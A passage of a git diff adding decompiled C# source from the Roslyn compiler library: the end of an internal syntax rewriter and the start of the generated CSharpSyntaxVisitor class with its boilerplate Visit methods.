(SyntaxToken)Visit(node.CheckedKeyword), (TypeSyntax)Visit(node.Type), (ParameterListSyntax)Visit(node.ParameterList), (BlockSyntax)Visit(node.Body), (ArrowExpressionClauseSyntax)Visit(node.ExpressionBody), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitConstructorDeclaration(ConstructorDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.Identifier), (ParameterListSyntax)Visit(node.ParameterList), (ConstructorInitializerSyntax)Visit(node.Initializer), (BlockSyntax)Visit(node.Body), (ArrowExpressionClauseSyntax)Visit(node.ExpressionBody), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitConstructorInitializer(ConstructorInitializerSyntax node) + { + return node.Update((SyntaxToken)Visit(node.ColonToken), (SyntaxToken)Visit(node.ThisOrBaseKeyword), (ArgumentListSyntax)Visit(node.ArgumentList)); + } + + public override CSharpSyntaxNode VisitDestructorDeclaration(DestructorDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.TildeToken), (SyntaxToken)Visit(node.Identifier), (ParameterListSyntax)Visit(node.ParameterList), (BlockSyntax)Visit(node.Body), (ArrowExpressionClauseSyntax)Visit(node.ExpressionBody), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitPropertyDeclaration(PropertyDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (TypeSyntax)Visit(node.Type), (ExplicitInterfaceSpecifierSyntax)Visit(node.ExplicitInterfaceSpecifier), (SyntaxToken)Visit(node.Identifier), (AccessorListSyntax)Visit(node.AccessorList), (ArrowExpressionClauseSyntax)Visit(node.ExpressionBody), (EqualsValueClauseSyntax)Visit(node.Initializer), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitArrowExpressionClause(ArrowExpressionClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.ArrowToken), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitEventDeclaration(EventDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.EventKeyword), (TypeSyntax)Visit(node.Type), (ExplicitInterfaceSpecifierSyntax)Visit(node.ExplicitInterfaceSpecifier), (SyntaxToken)Visit(node.Identifier), (AccessorListSyntax)Visit(node.AccessorList), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitIndexerDeclaration(IndexerDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (TypeSyntax)Visit(node.Type), (ExplicitInterfaceSpecifierSyntax)Visit(node.ExplicitInterfaceSpecifier), (SyntaxToken)Visit(node.ThisKeyword), (BracketedParameterListSyntax)Visit(node.ParameterList), (AccessorListSyntax)Visit(node.AccessorList), (ArrowExpressionClauseSyntax)Visit(node.ExpressionBody), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitAccessorList(AccessorListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Accessors), (SyntaxToken)Visit(node.CloseBraceToken)); + } + + public override CSharpSyntaxNode VisitAccessorDeclaration(AccessorDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (SyntaxToken)Visit(node.Keyword), (BlockSyntax)Visit(node.Body), (ArrowExpressionClauseSyntax)Visit(node.ExpressionBody), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitParameterList(ParameterListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenParenToken), VisitList(node.Parameters), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitBracketedParameterList(BracketedParameterListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenBracketToken), VisitList(node.Parameters), (SyntaxToken)Visit(node.CloseBracketToken)); + } + + public override CSharpSyntaxNode VisitParameter(ParameterSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (TypeSyntax)Visit(node.Type), (SyntaxToken)Visit(node.Identifier), (EqualsValueClauseSyntax)Visit(node.Default)); + } + + public override CSharpSyntaxNode VisitFunctionPointerParameter(FunctionPointerParameterSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (TypeSyntax)Visit(node.Type)); + } + + public override CSharpSyntaxNode VisitIncompleteMember(IncompleteMemberSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (TypeSyntax)Visit(node.Type)); + } + + public override CSharpSyntaxNode VisitSkippedTokensTrivia(SkippedTokensTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.Tokens)); + } + + public override CSharpSyntaxNode VisitDocumentationCommentTrivia(DocumentationCommentTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.Content), (SyntaxToken)Visit(node.EndOfComment)); + } + + public override CSharpSyntaxNode VisitTypeCref(TypeCrefSyntax node) + { + return node.Update((TypeSyntax)Visit(node.Type)); + } + + public override CSharpSyntaxNode VisitQualifiedCref(QualifiedCrefSyntax node) + { + return node.Update((TypeSyntax)Visit(node.Container), (SyntaxToken)Visit(node.DotToken), (MemberCrefSyntax)Visit(node.Member)); + } + + public override CSharpSyntaxNode VisitNameMemberCref(NameMemberCrefSyntax node) + { + return node.Update((TypeSyntax)Visit(node.Name), (CrefParameterListSyntax)Visit(node.Parameters)); + } + + public override CSharpSyntaxNode VisitIndexerMemberCref(IndexerMemberCrefSyntax node) + { + return node.Update((SyntaxToken)Visit(node.ThisKeyword), (CrefBracketedParameterListSyntax)Visit(node.Parameters)); + } + + public override CSharpSyntaxNode VisitOperatorMemberCref(OperatorMemberCrefSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OperatorKeyword), (SyntaxToken)Visit(node.CheckedKeyword), (SyntaxToken)Visit(node.OperatorToken), (CrefParameterListSyntax)Visit(node.Parameters)); + } + + public override CSharpSyntaxNode VisitConversionOperatorMemberCref(ConversionOperatorMemberCrefSyntax node) + { + return node.Update((SyntaxToken)Visit(node.ImplicitOrExplicitKeyword), (SyntaxToken)Visit(node.OperatorKeyword), (SyntaxToken)Visit(node.CheckedKeyword), (TypeSyntax)Visit(node.Type), (CrefParameterListSyntax)Visit(node.Parameters)); + } + + public override CSharpSyntaxNode VisitCrefParameterList(CrefParameterListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenParenToken), VisitList(node.Parameters), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitCrefBracketedParameterList(CrefBracketedParameterListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenBracketToken), VisitList(node.Parameters), (SyntaxToken)Visit(node.CloseBracketToken)); + } + + public override CSharpSyntaxNode VisitCrefParameter(CrefParameterSyntax node) + { + return node.Update((SyntaxToken)Visit(node.RefKindKeyword), (SyntaxToken)Visit(node.ReadOnlyKeyword), (TypeSyntax)Visit(node.Type)); + } + + public override CSharpSyntaxNode VisitXmlElement(XmlElementSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((XmlElementStartTagSyntax)Visit(node.StartTag), VisitList(node.Content), (XmlElementEndTagSyntax)Visit(node.EndTag)); + } + + public override CSharpSyntaxNode VisitXmlElementStartTag(XmlElementStartTagSyntax node) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.LessThanToken), (XmlNameSyntax)Visit(node.Name), VisitList(node.Attributes), (SyntaxToken)Visit(node.GreaterThanToken)); + } + + public override CSharpSyntaxNode VisitXmlElementEndTag(XmlElementEndTagSyntax node) + { + return node.Update((SyntaxToken)Visit(node.LessThanSlashToken), (XmlNameSyntax)Visit(node.Name), (SyntaxToken)Visit(node.GreaterThanToken)); + } + + public override CSharpSyntaxNode VisitXmlEmptyElement(XmlEmptyElementSyntax node) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.LessThanToken), (XmlNameSyntax)Visit(node.Name), VisitList(node.Attributes), (SyntaxToken)Visit(node.SlashGreaterThanToken)); + } + + public override CSharpSyntaxNode VisitXmlName(XmlNameSyntax node) + { + return node.Update((XmlPrefixSyntax)Visit(node.Prefix), (SyntaxToken)Visit(node.LocalName)); + } + + public override CSharpSyntaxNode VisitXmlPrefix(XmlPrefixSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Prefix), (SyntaxToken)Visit(node.ColonToken)); + } + + public override CSharpSyntaxNode VisitXmlTextAttribute(XmlTextAttributeSyntax node) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + return node.Update((XmlNameSyntax)Visit(node.Name), (SyntaxToken)Visit(node.EqualsToken), (SyntaxToken)Visit(node.StartQuoteToken), VisitList(node.TextTokens), (SyntaxToken)Visit(node.EndQuoteToken)); + } + + public override CSharpSyntaxNode VisitXmlCrefAttribute(XmlCrefAttributeSyntax node) + { + return node.Update((XmlNameSyntax)Visit(node.Name), (SyntaxToken)Visit(node.EqualsToken), (SyntaxToken)Visit(node.StartQuoteToken), (CrefSyntax)Visit(node.Cref), (SyntaxToken)Visit(node.EndQuoteToken)); + } + + public override CSharpSyntaxNode VisitXmlNameAttribute(XmlNameAttributeSyntax node) + { + return node.Update((XmlNameSyntax)Visit(node.Name), (SyntaxToken)Visit(node.EqualsToken), (SyntaxToken)Visit(node.StartQuoteToken), (IdentifierNameSyntax)Visit(node.Identifier), (SyntaxToken)Visit(node.EndQuoteToken)); + } + + public override CSharpSyntaxNode VisitXmlText(XmlTextSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.TextTokens)); + } + + public override CSharpSyntaxNode VisitXmlCDataSection(XmlCDataSectionSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.StartCDataToken), VisitList(node.TextTokens), (SyntaxToken)Visit(node.EndCDataToken)); + } + + public override CSharpSyntaxNode VisitXmlProcessingInstruction(XmlProcessingInstructionSyntax node) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.StartProcessingInstructionToken), (XmlNameSyntax)Visit(node.Name), VisitList(node.TextTokens), (SyntaxToken)Visit(node.EndProcessingInstructionToken)); + } + + public override CSharpSyntaxNode VisitXmlComment(XmlCommentSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.LessThanExclamationMinusMinusToken), VisitList(node.TextTokens), (SyntaxToken)Visit(node.MinusMinusGreaterThanToken)); + } + + public override CSharpSyntaxNode VisitIfDirectiveTrivia(IfDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.IfKeyword), (ExpressionSyntax)Visit(node.Condition), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive, node.BranchTaken, node.ConditionValue); + } + + public override CSharpSyntaxNode VisitElifDirectiveTrivia(ElifDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.ElifKeyword), (ExpressionSyntax)Visit(node.Condition), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive, node.BranchTaken, node.ConditionValue); + } + + public override CSharpSyntaxNode VisitElseDirectiveTrivia(ElseDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.ElseKeyword), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive, node.BranchTaken); + } + + public override CSharpSyntaxNode VisitEndIfDirectiveTrivia(EndIfDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.EndIfKeyword), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitRegionDirectiveTrivia(RegionDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.RegionKeyword), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitEndRegionDirectiveTrivia(EndRegionDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.EndRegionKeyword), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitErrorDirectiveTrivia(ErrorDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.ErrorKeyword), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitWarningDirectiveTrivia(WarningDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.WarningKeyword), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitBadDirectiveTrivia(BadDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.Identifier), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitDefineDirectiveTrivia(DefineDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.DefineKeyword), (SyntaxToken)Visit(node.Name), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitUndefDirectiveTrivia(UndefDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.UndefKeyword), (SyntaxToken)Visit(node.Name), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitLineDirectiveTrivia(LineDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.LineKeyword), (SyntaxToken)Visit(node.Line), (SyntaxToken)Visit(node.File), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitLineDirectivePosition(LineDirectivePositionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OpenParenToken), (SyntaxToken)Visit(node.Line), (SyntaxToken)Visit(node.CommaToken), (SyntaxToken)Visit(node.Character), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitLineSpanDirectiveTrivia(LineSpanDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.LineKeyword), (LineDirectivePositionSyntax)Visit(node.Start), (SyntaxToken)Visit(node.MinusToken), (LineDirectivePositionSyntax)Visit(node.End), (SyntaxToken)Visit(node.CharacterOffset), (SyntaxToken)Visit(node.File), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitPragmaWarningDirectiveTrivia(PragmaWarningDirectiveTriviaSyntax node) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.PragmaKeyword), (SyntaxToken)Visit(node.WarningKeyword), (SyntaxToken)Visit(node.DisableOrRestoreKeyword), VisitList(node.ErrorCodes), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitPragmaChecksumDirectiveTrivia(PragmaChecksumDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.PragmaKeyword), (SyntaxToken)Visit(node.ChecksumKeyword), (SyntaxToken)Visit(node.File), (SyntaxToken)Visit(node.Guid), (SyntaxToken)Visit(node.Bytes), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitReferenceDirectiveTrivia(ReferenceDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.ReferenceKeyword), (SyntaxToken)Visit(node.File), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitLoadDirectiveTrivia(LoadDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.LoadKeyword), (SyntaxToken)Visit(node.File), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitShebangDirectiveTrivia(ShebangDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.ExclamationToken), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } + + public override CSharpSyntaxNode VisitNullableDirectiveTrivia(NullableDirectiveTriviaSyntax node) + { + return node.Update((SyntaxToken)Visit(node.HashToken), (SyntaxToken)Visit(node.NullableKeyword), (SyntaxToken)Visit(node.SettingToken), (SyntaxToken)Visit(node.TargetToken), (SyntaxToken)Visit(node.EndOfDirectiveToken), node.IsActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CSharpSyntaxVisitor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CSharpSyntaxVisitor.cs new file mode 100644 index 0000000..55674c5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CSharpSyntaxVisitor.cs @@ -0,0 +1,2459 @@ +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class CSharpSyntaxVisitor +{ + public virtual TResult Visit(CSharpSyntaxNode node) + { + if (node == null) + { + return default(TResult); + } + return node.Accept(this); + } + + public virtual TResult VisitToken(SyntaxToken token) + { + return DefaultVisit(token); + } + + public virtual TResult VisitTrivia(SyntaxTrivia trivia) + { + return DefaultVisit(trivia); + } + + protected virtual TResult DefaultVisit(CSharpSyntaxNode node) + { + return default(TResult); + } + + public virtual TResult VisitIdentifierName(IdentifierNameSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitQualifiedName(QualifiedNameSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitGenericName(GenericNameSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitTypeArgumentList(TypeArgumentListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAliasQualifiedName(AliasQualifiedNameSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitPredefinedType(PredefinedTypeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitArrayType(ArrayTypeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitArrayRankSpecifier(ArrayRankSpecifierSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitPointerType(PointerTypeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitFunctionPointerType(FunctionPointerTypeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitFunctionPointerParameterList(FunctionPointerParameterListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitFunctionPointerCallingConvention(FunctionPointerCallingConventionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitFunctionPointerUnmanagedCallingConventionList(FunctionPointerUnmanagedCallingConventionListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitFunctionPointerUnmanagedCallingConvention(FunctionPointerUnmanagedCallingConventionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitNullableType(NullableTypeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitTupleType(TupleTypeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitTupleElement(TupleElementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitOmittedTypeArgument(OmittedTypeArgumentSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitRefType(RefTypeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitScopedType(ScopedTypeSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitParenthesizedExpression(ParenthesizedExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitTupleExpression(TupleExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitPrefixUnaryExpression(PrefixUnaryExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAwaitExpression(AwaitExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitPostfixUnaryExpression(PostfixUnaryExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitMemberAccessExpression(MemberAccessExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitConditionalAccessExpression(ConditionalAccessExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitMemberBindingExpression(MemberBindingExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitElementBindingExpression(ElementBindingExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitRangeExpression(RangeExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitImplicitElementAccess(ImplicitElementAccessSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitBinaryExpression(BinaryExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAssignmentExpression(AssignmentExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitConditionalExpression(ConditionalExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitThisExpression(ThisExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitBaseExpression(BaseExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitLiteralExpression(LiteralExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitMakeRefExpression(MakeRefExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitRefTypeExpression(RefTypeExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitRefValueExpression(RefValueExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCheckedExpression(CheckedExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitDefaultExpression(DefaultExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitTypeOfExpression(TypeOfExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSizeOfExpression(SizeOfExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitInvocationExpression(InvocationExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitElementAccessExpression(ElementAccessExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitArgumentList(ArgumentListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitBracketedArgumentList(BracketedArgumentListSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitArgument(ArgumentSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitExpressionColon(ExpressionColonSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitNameColon(NameColonSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitDeclarationExpression(DeclarationExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCastExpression(CastExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAnonymousMethodExpression(AnonymousMethodExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSimpleLambdaExpression(SimpleLambdaExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitRefExpression(RefExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitParenthesizedLambdaExpression(ParenthesizedLambdaExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitInitializerExpression(InitializerExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitImplicitObjectCreationExpression(ImplicitObjectCreationExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitObjectCreationExpression(ObjectCreationExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitWithExpression(WithExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAnonymousObjectMemberDeclarator(AnonymousObjectMemberDeclaratorSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitAnonymousObjectCreationExpression(AnonymousObjectCreationExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitArrayCreationExpression(ArrayCreationExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitImplicitArrayCreationExpression(ImplicitArrayCreationExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitStackAllocArrayCreationExpression(StackAllocArrayCreationExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitImplicitStackAllocArrayCreationExpression(ImplicitStackAllocArrayCreationExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitCollectionExpression(CollectionExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitExpressionElement(ExpressionElementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitSpreadElement(SpreadElementSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitQueryExpression(QueryExpressionSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitQueryBody(QueryBodySyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitFromClause(FromClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitLetClause(LetClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitJoinClause(JoinClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitJoinIntoClause(JoinIntoClauseSyntax node) + { + return DefaultVisit(node); + } + + public virtual TResult VisitWhereClause(WhereClauseSyntax node) + { + return DefaultVisit(node); + } + + public 